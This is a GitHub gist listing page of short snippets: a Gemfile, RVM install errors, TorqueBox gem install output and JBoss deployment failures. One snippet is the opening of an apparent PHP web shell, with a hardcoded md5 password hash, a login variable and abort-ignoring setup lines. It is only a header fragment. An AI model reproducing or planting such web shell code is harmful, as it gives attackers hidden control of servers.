Skip to content

Instantly share code, notes, and snippets.

View rrouse's full-sized avatar

Robert Rouse rrouse

  • St. Louis, Missouri
View GitHub Profile
@rrouse
rrouse / Welcome.rb
Created July 3, 2010 21:52
Welcome
puts "Welcome!"
source :rubygems
# Project requirements
gem 'rake'
gem 'rack-flash'
gem 'thin' # or mongrel
# Component requirements
gem 'haml'
gem 'activerecord', :require => "active_record"
rvm install 1.9.2
/usr/local/rvm/rubies/ruby-1.9.2-p0, this may take a while depending on your cpu(s)...
ruby-1.9.2-p0 - #fetching
ruby-1.9.2-p0 - #extracting ruby-1.9.2-p0 to
mv: cannot move `/tmp/rvm_src_20266/ruby-1.9.2-p0' to `': No such file or directory
/usr/local/rvm/scripts/manage: line 1237: ruby-1.9.2-p0 - #extracted to : command not found
?><?php
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$login = "-";
$pass = "";
$md5_pass = "6676b5bea793b2f357b5d9c0728b6668";
define("starttime",getmicrotime());
/usr/local/rvm/scripts/manage: line 134: syntax error in conditional expression: unexpected token `;'
/usr/local/rvm/scripts/manage: line 134: syntax error near `;'
/usr/local/rvm/scripts/manage: line 134: ` if [[ -d "$directory" && "$directory" != '/']] ; then'
torquebox (1.0.0.CR1)
torquebox-base (1.0.0.CR1 java)
torquebox-capistrano-support (1.0.0.CR1)
torquebox-container-foundation (1.0.0.CR1 java)
torquebox-messaging (1.0.0.CR1 java)
torquebox-messaging-container (1.0.0.CR1 java)
torquebox-naming (1.0.0.CR1 java)
torquebox-naming-container (1.0.0.CR1 java)
torquebox-rake-support (1.0.0.CR1)
torquebox-vfs (1.0.0.CR1 java)
root@app4:/opt/torquebox-current# ls /usr/local/rvm/gems/jruby-1.6.0/gems/torquebox-vfs-1.0.0.CR1-java/lib/
gem_hook.rb jboss-logging-3.0.0.Beta4.jar jboss-logmanager-1.2.0.CR9.jar jboss-vfs-3.0.0.GA.jar org.torquebox.vfs.rb torquebox-vfs.jar vfs.rb
jboss-common-core-2.2.17.GA.jar jboss-logging-spi-2.2.0.CR1.jar jboss-logmanager-log4j-1.0.0.CR3.jar log4j-1.2.14.jar torquebox torquebox-vfs.rb
app@app4:~$ gem install torquebox torquebox-base torquebox-capistrano-support torquebox-container-foundation torquebox-messaging torquebox-messaging-container torquebox-naming torquebox-naming-container torquebox-rake-support torquebox-vfs torquebox-web --pre
Fetching: torquebox-base-1.0.0.CR1-java.gem (100%)
Fetching: torquebox-naming-1.0.0.CR1-java.gem (100%)
Fetching: torquebox-messaging-1.0.0.CR1-java.gem (100%)
Fetching: torquebox-rake-support-1.0.0.CR1.gem (100%)
Fetching: torquebox-web-1.0.0.CR1-java.gem (100%)
Fetching: torquebox-1.0.0.CR1.gem (100%)
ERROR: Error installing torquebox:
torquebox requires torquebox-vfs (= 1.0.0.CR1, runtime)
Successfully installed torquebox-base-1.0.0.CR1-java
*** DEPLOYMENTS IN ERROR: Name -> Error
vfs:///opt/torquebox-1.0.0.CR1-SNAPSHOT/jboss/server/default/deploy/http-invoker.sar -> org.jboss.deployers.spi.DeploymentException: Failed to create web module
DEPLOYMENTS MISSING DEPENDENCIES:
Deployment "ModClusterListener" is missing the following dependencies:
Dependency "WebServer" (should be in state "Create", but is actually in state "**ERROR**")
root@app4:~# /opt/torquebox-current/jboss/bin/run.sh
=========================================================================
JBoss Bootstrap Environment
JBOSS_HOME: /opt/torquebox-current/jboss
JAVA: java
JAVA_OPTS: -server -Xms128m -Xmx24576m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Djava.library.path=/opt/torquebox-current/jboss/bin/native/lib64